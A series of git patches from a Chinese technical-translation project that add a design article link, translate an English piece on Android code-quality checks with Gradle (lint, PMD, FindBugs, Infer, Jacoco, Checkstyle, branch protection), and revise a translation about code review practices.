 * [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
-* [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)
 
 

From 5726e26e611e1408f68a44b7bdd794db20e1de00 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 22 May 2017 23:32:40 +0800
Subject: [PATCH 513/638] Update design.md

---
 design.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/design.md b/design.md
index 1510d54ed89..760846a09ac 100644
--- a/design.md
+++ b/design.md
@@ -1,3 +1,4 @@
+* [最激动人心的视觉系统其实是最枯燥乏味的](https://juejin.im/entry/59228e15a0bb9f005f60915a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Nicolas(Yifei) Li](https://github.com/yifili09) 翻译)
 * [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)

From 48959ec4dd78264d5cde0ccb3f85821019727b8f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=85=88=E7=94=9F?= <jacksonke@senseis-MacBook-Pro.local>
Date: Tue, 23 May 2017 00:36:26 +0800
Subject: [PATCH 514/638] translated by jacksonke

---
 TODO/make-or-break-with-gradle.md | 200 +++++++++++++++---------------
 1 file changed, 100 insertions(+), 100 deletions(-)

diff --git a/TODO/make-or-break-with-gradle.md b/TODO/make-or-break-with-gradle.md
index a328347242a..7fa6917107d 100644
--- a/TODO/make-or-break-with-gradle.md
+++ b/TODO/make-or-break-with-gradle.md
@@ -1,81 +1,81 @@
 > * 原文地址：[Make or break… with Gradle](https://medium.com/contentsquare-engineering-blog/make-or-break-with-gradle-dac2e858868d)
 > * 原文作者：[Tancho Markovik](https://medium.com/@smarkovik)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[jacksonke](https://github.com/jacksonke)
 > * 校对者：
 
 # Make or break… with Gradle #
 
-Have you ever heard of the phrase, ***Legacy Code***?
-Have you ever considered you may be producing Legacy code in real time?
+你是否听过这个词, 垃圾代码（***Legacy Code***）? 
+你是否考虑过在实际工作中，你也会制造垃圾代码?
 
-The feeling is horrible, right?
+那感觉挺可怕的，对吧？
 
-But is it true, is your code “Legacy” ?
-I asked myself this question, and decided to do some research on the subject. I tried to figure out how one applies the adjective “Legacy” to code?
-While searching, I found this definition:
+但这是真的吗？你的代码会是垃圾代码吗？
+我会问自己这个问题，最后决定对这个课题做一些研究。我尝试去弄清楚开发者是如何定义垃圾代码的。
+在我搜索的时候，我发现这么个定义：
 
-> “ There is a common, false perception that legacy code is old. Although some software developers look at legacy code as a poorly written program, legacy code actually describes a code base that is no longer engineered but continually patched. Over time, an unlimited number of modifications may be made to a code base based on customer demand, causing what was originally well-written code to evolve into a complex monster. A software developer will recognize legacy code when a feature cannot be added without breaking other logic or features. At this point, the developers may begin lobbying for a new system.”
+> “有一种常见的，错误的观点认为垃圾代码是旧代码。虽然一些软件开发人员将垃圾代码视为一个写得不好的程序，但实际上，垃圾代码其实是开发者不再精心设计，而疲于不断修补的代码。客户的需求一直在变化，代码也要跟着变动，久而久之，无休止的变动会让最初编写好的代码演变成一个复杂的怪物。当不破坏原有的逻辑或者功能就无法添加新特性时，开发者就会将这种代码视作垃圾代码。这个时候，开发人员可能会开始尝试新的系统。”
 
-Sounds familiar?
-So how do we fix this?
+听起来是否很熟悉？
+那么，我们要如何解决这种问题呢？
 
-I’ve worked on Android a lot recently, so I will relate the discussion to this platform. I recently joined ContentSquare, and I was lucky enough have the ability to directly affect both Mobile platforms.
+最近我多数工作都是基于 Android 平台的，所以我接下去的讨论都会基于这个平台。我加入 ContentSquare 一段时间了，我很幸运能够直接影响两个移动平台。
 
-“*I will learn from my mistakes and never allow anyone to do them again!*”
+“*我会从所犯的错误中汲取教训，同时不让其他人再一次犯同样的错误！*”
 
-I started looking into the tools of the trade, and also what I want to do, and eventually implement the same safety net on both platforms.
+我开始研究相关工具，最终我想做的是在两个平台上实施相同的安全策略。
 
-So I started writing requirements for my safety net:
+所以，我开始为我的安全策略定了些要求：
 
-- apply code style checks
-- add code analyzers
-- add specific pattern detectors
-- require continuous code documentation
-- perform continuous discovery of new issues
+- 检测代码风格
+- 增加代码分析器
+- 添加特定的模式匹配，来查找代码
+- 能持续性地产生文档
+- 开发过程中，能够持续的发现问题
 - stop the bleed
 
 ### Git and friends ###
 
-Were equipped with all the usual tools. We use GitHub, and we have a Jenkins server which runs our builds. Our usual process uses the feature branch approach. 
-This means our branch process by default looks like this:
+配备了所有常用的工具。我们使用 GitHub，我们有一个运行我们的构建的 Jenkins 服务器。通常，我们使用特征分支方法。
+这意味着，默认情况下，我们的分支如下所示：
 
 ![](https://cdn-images-1.medium.com/max/1000/1*iHPPa72N11sBI_JSDEGxEA.png)
 
-Git feature branching model. Image courtesy of github.com
+Git 特征分支模型。图片由 github.com 提供
 
-What we also decided, is to disable direct commits to master, meaning we only can push code to master through a branch merge with a pull request. 
-Doing this on GitHub is super easy. Just go to your repo settings, and select protect this branch.
+我们还决定，禁用直接提交代码到 master 分支，这意味着提交代码到 master 分支，只能通过发起 pull request 来合并分支。
+在 GitHub 上，这样是超级容易实现的。只需要在你的代码库设置中，勾选保护这个分支。
 
 ![](https://cdn-images-1.medium.com/max/800/1*mMx46zrf2rs-mWVM_gvrnQ.png)
 
-Setting up branch protection on GitHub
+在 GitHub 上设置分支保护
 
-What we just did is disallow anyone to commit and push directly to master.
-From now on we have to go through a pull request which will be reviewed by at least one person.
+以上介绍的是如何禁止开发者直接将代码提交到 master 分支。
+从现在开始，我们必须提交 pull request，在这个请求中，至少有个人会审核你的代码。
 
-This helps on two fronts:
+这有两个好处：
 
-1. With the pull request, we notify everyone of the change, allowing them to know the development of the code by review.
-2. Using the peer reviews we get to reduce the amount of bugs as people notice when someone is taking a shortcut.
+1. 通过 pull 请求，我们会给关注的人发送代码变动的通知，他们能够通过审核代码来知悉代码的变动情况。
+2. 采用彼此间的审核，我们可以减少错误的数量，因为当有人犯错的时候，其他人可以注意到。
 
-For the time being, our build loop is very simple.
+目前，我们的构建循环非常简单。
 
 ```
 ./gradlew check // run unit tests 
 ./gradlew assemble // assemble all build flavors
 ```
 
-OK, now off to finding the tools we’re going to use.
+现在开始介绍我们需要用到的工具。
 
-As a requirement, we decided to only use tools which integrate through gradle. This would allow us to have completely seamless integration.
+作为要求，我们决定只使用通过 gradle 整合的工具。这将使我们能够完全无缝集成。
 
 ### [Lint](https://developer.android.com/studio/write/lint.html) ###
 
-As lint is a common tool I will not go into details about it, instead I will just show you how to enable it.
+由于 lint 是一个常见的工具，我将不会详细介绍它，而只是向您展示如何启用它。
 
-Lint is a part of the android plugin, but by default it’s not configured on new projects.
-To enable it, add the following block to the ***android*** section of the ***build.gradle*** file.
+Lint 是 Android 插件的一部分，但默认情况下，它没有在新项目中配置。
+要启用它，可以将下面的代码段添加到 ***build.gradle*** 文件中的 ***android*** 代码段内。
 
 ```
 lintOptions {
@@ -89,16 +89,16 @@ lintOptions {
 }
 ```
 
-In the above segment, the things to note are :
+上面的代码段中，需要注意的是：
 
-1. warningsAsErrors = true — Consider all warnings as errors
-2. abortOnError = true — break the build on any Lint error
-3. lintConfig — A file which provides input for lint, with definitions per rule
+1. warningsAsErrors = true — 将所有的警告当成错误处理
+2. abortOnError = true — 发生 Lint 错误时，终止编译
+3. lintConfig — 定义 Lint 规则的配置文件
 
-Ok, so now that we have lint done, we need to actually run it somehow.
+现在我们已经介绍了 lint，我们需要实际运行它。
 
-Gradle’s android plugin has a quite a few pre-defined tasks, which you can get a complete listing of by using the option *tasks*. 
-As the listing is huge, here’s an excerpt of it showing the verification tasks:
+Gradle 的 Android 插件有不少预定义的 tasks，你可以使用 *tasks* 选项罗列出所有的 tasks。
+输出的日志数量巨大，下面是其中验证任务的片段：
 
 ```
 $ ./**gradlew****tasks**
@@ -133,29 +133,29 @@ testReleaseUnitTest - Run unit tests for the release build.
 ... etc ...
 ```
 
-I like *check* which is described simply as “runs all checks”.
+我喜欢用 *check*，它是这样描述的 “runs all checks”。
 
-By default check calls the appropriate check tasks on all available modules. This means, by running :
+默认情况下， check 会调用所有可用的模块工程对应的 check 任务，这意味着，运行：
 
 ```
 ./gradlewcheck
 ```
 
-You will run the check task on all submodules. And this task runs :
+会执行所有子模块工程的 check 任务，包括：
 
-- all unit tests for debug/release flavor
-- all UI tests for debug/release flavor
+- debug/release 所有的单元测试
+- debug/release 所有的 UI 测试
 - Lint
 
-For this moment this is all we need, and due to it’s nature, we will link all future checks to this task.
+这些特性正是我们现在所需要的，后面介绍的特性都会与这个 check 任务关联。
 
-### Code Analysis ###
+### 代码分析 ###
 
-So, next I was reading up on [PMD](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-pmd.gradle), [Findbugs](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-findbugs.gradle) and discovered Facebook’s [Infer](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-infer.gradle).
+所以, 接下来，我阅读了 [PMD](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-pmd.gradle), [Findbugs](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-findbugs.gradle) 同时发现了 Facebook 的 [Infer](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-infer.gradle).
 
-**PMD** is a source code analyzer. It finds common programming flaws like unused variables, empty catch blocks, unnecessary object creation, and so forth. PMD works on source code and therefore finds problems like: violation of naming conventions, lack of curly braces, misplaced null check, long parameter list, unnecessary constructor, missing break in switch, etc. PMD also tells you about the Cyclomatic complexity of your code which I find very helpful.
+**PMD** 是一个代码分析工具. 它能发现常见的编程缺陷，如未使用的变量，空的 catch 块，不必要的对象创建等等。 PMD 工作在源代码层，因此会发现以下问题：违反命名规则，缺少花括号，错误的 null 检查，长参数列表，不必要的构造函数，switch 中缺少 break 等。PMD还会告诉您代码的循环复杂性，这我觉得非常有帮助。
 
-To add PMD as an analyzer, we have to append to the build.gradle file. We can add the following definitions
+添加 PMD 作为分析器，我们需要在 build.gradle 文件中追加一些内容。我们可以添加下面的代码段
 
 ```
 apply plugin: 'pmd'
@@ -183,13 +183,13 @@ task pmd(type: Pmd, dependsOn: "assembleDebug") {
 }
 ```
 
-In this script, the interesting things to note are :
+在这个脚本中，值得注意的有趣的点是：
 
-1. check.dependsOn ‘pmd’ — this line links the PMD task with check. Which means, when we call gradle check, it will call pmd as a dependency task. This way, the team can get used to just calling gradle check and know all relevant checks are done through this task.
-2. ruleSetFiles — defines the set of rules and specifics which are to be used in this installation.
-3. reports block — defines all the requirements in terms of what to scan, what to ignore, and where to report.
+1. check.dependsOn ‘pmd’ — 这行将 PMD 和 check 任务关联起来了. 这意味着，当我们调用 gradle check, pmd 将作为依赖任务被调用. 这样, 团队可以习惯于调用 gradle check，所有相关的检查也同时进行。
+2. ruleSetFiles — 定义将在此构建中使用的一组规则和细节。
+3. reports block — 指定要扫描的内容，要忽略的内容以及要报告的位置。
 
-**FindBugs** is an analyzer which detects possible bugs in Java programs. Potential errors are classified in four ranks: (i) scariest, (ii) scary, (iii) troubling and (iv) of concern. This is a hint to the developer about their possible impact or severity. FindBugs operates on Java bytecode, rather than source code.
+**FindBugs** 是一个检查 Java 代码中可能存在的 bugs 的工具. 潜在错误分为四个等级: (i) scariest, (ii) scary, (iii) troubling 和 (iv) 关心的.它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面.
 
 ```
 apply plugin: 'findbugs'
@@ -219,16 +219,17 @@ task findbugs(type: FindBugs, dependsOn: "assembleDebug") {
 }
 ```
 
-Things to note in this configuration are:
+这个配置中需要关注的点是：
 
-1. check.dependsOn ‘findbugs’ — same as before, we link it to check
-2. ignoreFailures = false — defines whether any discoveries are used as warnings or errors.
-3. reportLevel = “max” — It specifies the confidence/priority threshold for reporting issues. If set to “low”, confidence is not used to filter bugs. If set to “medium” (the default), low confidence issues are suppressed. If set to “high”, only high confidence bugs are reported
-4. effort — Set the analysis effort level. Enable analyses which increase precision and find more bugs, but which may require more memory and take more time to complete.
-5. reports = the location where the reports will be saved.
+1. check.dependsOn ‘findbugs’ — 跟之前一样，我们将它和 check 任务关联。
+2. ignoreFailures = false — 定义发现的问题是要归类为警告还是错误。
+3. reportLevel = “max” — 指定报错的阈值. 如果设置为 “low”, 则不需要过滤所发现的问题. 如果设置为 “medium” (默认值), 低优先级的问题就会直接被滤掉. 如果设置为 “high”, 只有严重的问题才会被提出。
+4. effort — 设置分析的等级. 启用分析，增加精度并发现更多错误，但可能需要更多内存并花费更多时间来完成。
+5. reports = 报告生成的位置
+
+**Infer** 是针对 Java, Objective-C 和 C 的静态分析工具. infer 的优点在于它的双重检测所有的`@Nullable` vs `@NonNull` 注解的变量， 同时对于 Android，它有一些针对性的检测. Infer 是个独立的工具, 这意味着默认情况下，它不需要集成到 Gradle中, 但是 Uber 不错的小伙子们开发了 [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .
+为了在构建过程中加入这个分析器，我们还是将它加入 Gradle 中。
 
-**Infer** is a static analysis tool for Java, Objective-C and C. What was nice about infer is the fact it double checks all `@Nullable` vs `@NonNull` annotated variables and has some Android specific checks which were of interest. Infer is a standalone tool, which means that by default it doesn’t integrate with Gradle, however, good guy Uber developed a [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .
-To add this analyzer to our build process, we again add to Gradle.
 
 ```
 apply plugin: 'com.uber.infer.android'
@@ -246,10 +247,10 @@ inferPlugin {
 }
 ```
 
-Adding this plugin is quite straightforward, we only define the sources which are to be included and excluded from the check.
+添加这个插件是相对直接的，只需要定义哪些源文件需要检测，哪些不需要检测。
 
-Now that we have some analyzers, call ./***gradlew check*** and see what happens. 
-Within the huge log, you will see something similar to the following
+既然我们已经有了一些分析器，调用 ./***gradlew check*** 然后查看会发生什么。
+在大量的日志中，你会看到类似于下面的内容
 
 ```
 :mylibrary:inferCheckForCommand
@@ -283,20 +284,19 @@ Ran lint on variant debug: 0 issues found
 :mylibrary:pmd
 ```
 
-However defining the code style was a pain!
+但是定义代码风格是件痛苦的事情！
 
-Google to the rescue! Google actually provides it’s [code style](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html) publicly. And as it was already pretty close to the IntelliJ Idea defaults,
-I just modified the “code formatting template” in studio and within 10–15 mins,[ I was all set](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).
+Google 又救场了! Google 实际上有对外公开了它的[代码风格](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html)。 因为实际上和 IntelliJ Idea 默认风格很类似，我仅仅修改了Android studio 的“代码格式模板”，只需花费 10–15 分钟,[ 我就设置完了](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).
 
-***ProTip*** *: if you want to constantly auto format your code, IntelliJ has you covered. You can easily record a macro, which will, rearrange code, re-order imports, remove unused imports, as well as do any other style related operations. When done put a “save all” at the end. Next, store the macro and assign it to ctrl+s. These settings, can be shared to the team, and it automagically works for everyone.*
+***专业提示*** *: 如果您想不断自动格式化您的代码，IntelliJ 已经为你提供了. 您可以轻松地录制宏，它能够重新排列代码，重新给 imports 排序，移除未使用的 imports，以及执行其他与代码风格相关操作。当结束的时候，在末尾加上 “save all” . 接下去, 用 ctrl + s 保存宏定义. 这些设置可以分享到团队内, 它会自动为每个人工作.*
 
-### Generating documentation ###
+### 生成文档 ###
 
-Quite straight forward for java, we need to generate a Javadoc.
+对于 java 来说很直接，我们需要生成 Javadoc。
 
-**Step1**: Require a JavaDoc comment on all public methods, through Checkstyle, already done in the default rules.
+**步骤 1**: 需要给所有公共方法添加 JavaDoc 注释，这些注释得遵守一定的规则，并通过 Checkstyle 检测。
 
-**Step2**: implement the Gradle JavaDoc plugin
+**步骤 2**: 采用 Gradle JavaDoc 插件
 
 ```
 task javadoc(type: Javadoc) {
@@ -320,11 +320,11 @@ afterEvaluate {
 
 ```
 
-Now, if you call *./gradlew javadoc* in your output folder, `build/reports/javadoc` you will find the complete javadoc for your project
+现在, 如果在输出目录执行 *./gradlew javadoc* ，在 `build/reports/javadoc` 目录中，你能够找到工程的完整 javadoc 文档
 
-### Code coverage reports ###
+### 代码覆盖率报告 ###
 
-For this task we’ll use Jacoco, a java standard.
+这里我们会使用 Jacoco, 一个标准 java 插件.
 
 ```
 apply plugin: 'jacoco'
@@ -359,9 +359,9 @@ task coverage(type: JacocoReport, dependsOn: "testDebugUnitTest") {
 }
 ```
 
-So, similarly by calling ./*gradlew* coverage in `build/reports/coverage` you would get a very nice coverage report page.
+这样, 类似地，执行 ./*gradlew* coverage 你可以在 `build/reports/coverage` 找到代码覆盖率报告。
 
-An important thing, in order to reduce code smell, was to break if developers forget code, used for debug purposes or comment out code in hopes of future use.
+一件重要的事情, 当开发者忘了删除所添加的调试代码，或者是注释掉将来才会使用的代码，这可能会引起一些问题。
 
 ```
 e.printStacktrace();
@@ -374,7 +374,7 @@ System.out.println();
 //}
 ```
 
-There is a quick fix for this, just add these rules to your checkstyle rules set.
+这里有个简单的解决方式, 只需要将下面的规则添加到 checkstyle 规则集中.
 
 ```
 <module name="Regexp">
@@ -395,7 +395,7 @@ There is a quick fix for this, just add these rules to your checkstyle rules set
 </module>
 ```
 
-At the end, our build loop has two extra lines:
+最后，我们的构建过程还有额外的两行：
 
 ```
 ./gradlew check // run unit tests
@@ -404,41 +404,41 @@ At the end, our build loop has two extra lines:
 ./gradlew assemble // assemble all build flavors
 ```
 
-So now that we have our checks in place, at last we need to set Github to disallow branch merges unless our Jenkins build passes. 
-This is quite easy with the Github plugin. You can just add a post build step, and run it once to have it available on Github
+到这里，我们在必要的地方都已经加了检测校验，在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不予许分支合并。
+使用 Github 插件，这会是相当容易的。你可以添加一个编译步骤，运行一次，让它可以在 Github 上使用。
 
 ![](https://cdn-images-1.medium.com/max/800/1*3udc8DO-_c9DaWQcnjcq0w.png)
 
-Adding a Jenkins build step
+添加 Jenkins 编译步骤
 
-and add the corresponding status as a requirement on Github
+在 Github 上修改相应的状态要求
 
 ![](https://cdn-images-1.medium.com/max/800/1*DBfAZ5j0l47TLBhXmmUbOA.png)
 
-Setting up a status requirement in GitHub
+在 Github 上设置状态要求
 
-And now, once a build finishes, if you have a PR that does not conform to the rules put in place, Jenkins fails the build and by this Github blocks the merge! \o/
+一旦编译完成，如果你的 PR 不符合我们设置的规则， Jenkins 编译算是失败的，这时，Github 会阻止分支合并。
 
 ![](https://cdn-images-1.medium.com/max/800/1*uPCb2nWdnm9IdnszVeiV8Q.png)
 
-Github blocks merges if Jenkins fails to build a plan
+当 Jenkins 编译失败时，Github 阻止分支合并
 
-### Summary ###
+### 总结 ###
 
 You now have a mechanism which runs :
 
-- Code style checks ✓
-- Static code analysis (Android specific and Java related) ✓
-- Bad practice pattern detectors ✓
-- Continuous documentation through JavaDoc ✓
+- 代码风格检测 ✓
+- 静态代码分析 (Android specific and Java related) ✓
+- 使用模式匹配，检测不良代码 ✓
+- 使用 JavaDoc 生成可持续，可维护的文档 ✓
 - Continuous discovery through the Jenkins loop ✓
-- Stopping the bleed through the master branch protection ✓
+- 保护 master 分支 ✓
 
-Nice, now all you’re left to do is focus on the architecture of the code and continue improving your system.
+现在你还需要做得是集中精力在代码的体系结构以及持续优化这个系统
 
-A sample code project implementing most of the above can be found on my github repo, [https://github.com/smarkovik/make-or-break](https://github.com/smarkovik/make-or-break).
+我的 [github 项目](https://github.com/smarkovik/make-or-break)提供了一个样例，包含了上面提到的多数特性。
 
-Oh, and if you’re in Paris and interested, look us up.. [http://www.welcometothejungle.co/companies/contentsquare](http://www.welcometothejungle.co/companies/contentsquare).
+如果你也在巴黎，如果你有兴致，你可以来我们这里看看。[http://www.welcometothejungle.co/companies/contentsquare](http://www.welcometothejungle.co/companies/contentsquare).
 
 ---
 

From c572a11b608f6213facad3979e4e0f3d30016081 Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Tue, 23 May 2017 10:36:55 +0800
Subject: [PATCH 515/638] Final draft

---
 TODO/crafting-better-code-reviews.md | 83 ++++++++++++++--------------
 1 file changed, 41 insertions(+), 42 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index b8092b7f14f..4d16eb7d1dc 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -30,65 +30,65 @@ In his book, he describes code reviews, and what function they *ought* to serve.
 
 > 管理软件工程过程中的一部分就是抓住问题“最低价值”的阶段，即在已投入投资最少且花费最少去解决问题的时机。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性地测试或者审查来决定是否应该进行到开发的下一阶段。
 
-McConnell 的代码审查研究中最重要的理念就是"代码集体拥有制度"。所有代码都是被一组贡献者们所拥有的，这些贡献者们能平等地对代码进行查看和更改。
+McConnell 的代码审查研究中最重要的理念就是"代码构建中的集体所有权"。所有的代码都属于团队而不是某一人，并且团队中的所有成员都可以对其进行访问和修改。
 
-> 代码审查制度的初衷是它会帮助我们获得我们所创造软件的共同所有权。换句话说，通过参与控制产品质量的方式，我们每个人都会成为开发过程中的股东。
+> 代码审查制度的初衷是帮助我们在软件开发中采用集体所有权的思想。换句话说，通过参与控制产品质量的方式，我们每个人都会成为开发过程中的股东。
 
-McConnell在他的书中提出了很多种不同的代码审查制度的方式和流程，这些方式都可以被任何一个团队采用在日常的工作流当中。强烈推荐McConnell的 *Code Complete* ，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
+McConnell 在他的书中提出了一些不同类型的代码审查流程，这些流程可以被任何一个团队采用在日常的工作流当中。强烈推荐McConnell的 **代码大全**，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
 
-#### **1. 3人审查制度** ####
+#### **1. 详查（正式检查）** ####
 
-3人审查制度是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。
+详查是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。
 
-当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
+当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
 
-#### **2. 带着一起过** ####
+#### **2. 走查** ####
 
-这个方式的话大概是30~60分钟，通常用于来帮助初级程序员们在一家公司中理解一些技术性难题，同时也能让高级开发人员们回顾旧的方法论。
+走查通常持续 30 到 60 分钟，对于高级程序员来说，通常是一个向新手们传授经验的机会，与此同时，对于新手们来说这也是一个机会，可以阐述新的方法论，挑战那些陈腐的、很可能已经过时的假设。
 
-带着新人一起过的话有时候还蛮高效的，但是这个方式的话就不像上面那个3人审查一样流程化。这样的一个代码审查大概能检测到程序中20%到40%的问题。
+走查有时候还是挺有用的，但是一般而言，走查远没有更加正式的代码复查有效。通常走查可以找到程序中 20% 到 40% 的错误。
 
-#### **3. 审查小片段** ####
+#### **3. 小型代码审查** ####
 
-就想这个名字一样，这种审查非常短。但是这都是很有深度的审查，还蛮难的。有时候可能就是更改了1行代码，但是会引起大量的问题。
+就像这个名字一样，这种审查非常短。但是这都是很有深度的审查，还蛮难的。有时候可能就是更改了1行代码，但是会引起大量的问题。
 
-McConnell的研究发现了下面这些有关于审查小片段的事实：
+McConnell的研究发现了下面这些有关于小型代码审查的事实：
 
-> 一个专门针对单行修改代码审查的机构发现在进行代码审查后代码报错率从55%下降到了2%。一个在80年代晚期的通讯机构代码正确率在审查后从80%上升到了99.6%。
+> 一个专门针对单行修改代码审查的机构发现在进行代码审查后代码报错率从 55% 下降到了 2%。一个在 80 年代晚期的通讯机构代码正确率在审查后从 80% 上升到了 99.6%。
 
-McConnell的一组组数据似乎在告诉我们作为一个开发团队我们应该构造一些这三种代码审查的融合来进行开发的推进。
+McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应该结合这三种代码审查方式。
 
-然而，McConnell的书是在1993年写的。时至今日，我们的工作流程早就已经更新换代了，同行审查也随之更新。但是我们现在对于代码审查实行的方法足够合理完整吗？我们应该如何把**理论**上的东西运用到**实际**中去？
+然而，McConnell 的书是在 1993 年写的。时至今日，我们的工作流程早就已经更新换代了，同行审查也随之更新。但是我们现在对于代码审查实行的方法足够合理完整吗？我们应该如何把**理论**上的东西运用到**实际**中去？
 
-To find the answer to these questions, I did what any determined (but a little unsure of where to start) developer would do: I asked the Internet!
-为了解答我的问题，我做了大多数码农会做的事：Google一下
+为了解答这些问题，我做了大多数码农会做的事：Google 一下！
 
 [![Markdown](http://i4.buimg.com/1949/4bcc14c27f51262e.png)](https://twitter.com/vaidehijoshi)
 
-好吧，并没有什么卵用，那我来看看推特。
+嗯，不错。上图是我在推特上发起的一个调查。
+
 
 ### 程序猿们如何看待代码审查 ###
 
 
-在我对这个调查进一步阐述之前，我想先说点什么：*我不是一个数据科学家* （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用R语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，然后的话数据是来自一个基于 branch/pull request的团队的。
+在我对这个调查进一步阐述之前，我想先说点什么：**我不是一个数据科学家** （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用 R 语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，另外数据是来自一个基于 branch/pull request 的团队的。
 
-好，那么重点来了：*程序猿们是到底如何看待代码审查的？*
+好，那么重点来了：**程序猿们是到底如何看待代码审查的？**
 
 #### 量化的数据 ####
 
 让我们先来看看这组已经量化的数据。
 
-首先，这个问题的答案很大程度上取决于你问了*哪个*程序猿。在我写这个报告的时候，我已经收到超过500条回复了。
+首先，这个问题的答案很大程度上取决于你问了**哪些**程序猿。在我写这个报告的时候，我已经收到超过 500 条回复了。
 
-下面是一些根据工作时用的语言分类的结果，包括了JS，JAVA，还有Ruby。
+下面是一些根据工作时用的语言分类的结果，包括了 JS，JAVA，还有 Ruby。
 
 
 ![](https://cdn-images-1.medium.com/max/600/1*hiGuGx5OvayL4dPu1tSC4w.png)
 
-I asked every respondent to the survey to what extent they agreed with the statement: *Code reviews are beneficial to my team*.
-根据我一个个问完之后，大家都认为 *代码审查对于团队是有好处的* 。
 
-总的来说，从1分到非常不认可，10分非常认可，Swift开发团队给代码审查认可度打了9.5/10的高分。Ruby开发团队第二，打出了9.2的高分。
+根据我一个个问完之后，大家都认为 **代码审查对于团队是有好处的**。
+
+总的来说，从 1 分（**非常不认可**）到 10 分（**非常认可**），Swift开发团队给代码审查认可度打了 9.5 分的高分。Ruby 开发团队第二，打出了 9.2 的高分。
 
 ![](https://cdn-images-1.medium.com/max/800/1*1zSl-fd9hygIBzxp52yHOQ.jpeg)
 
@@ -96,21 +96,21 @@ I asked every respondent to the survey to what extent they agreed with the state
 
 ![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)
 
-这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言直接没有差很多。换句话来说，决定代码审查的的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。
+这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言之间没有差很多。换句话来说，决j定代码审查的的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。
 
 ![](https://cdn-images-1.medium.com/max/800/1*jFZ_2zCzHM78m_L_p0OK8A.jpeg)
 
-最后，对于那些当有要求进行代码审查才会进行审查的团队来说，大部分通常只有1个人在代码merge到主程序之前审查这个代码。
+最后，对于那些当有要求进行代码审查才会进行审查的团队来说，大多数团队通常只需要 1 个人在代码合并到主分支之前审查这个代码。
 
 ![](https://cdn-images-1.medium.com/max/800/1*KsuH1lurvkf5wpoXZ2queQ.png)
 
 #### 定性描述的数据 ####
 
 
-那么对于那些不可量化的东西来说，我们能知道什么呢？在多项选择题之外，这个调查同时也能够让受访者填写他们自己的答案。这一部分也是这个调查最重要的一部分，最能*说明问题*的一部分。
-
-这写回答具体聚焦在如下几个重点。
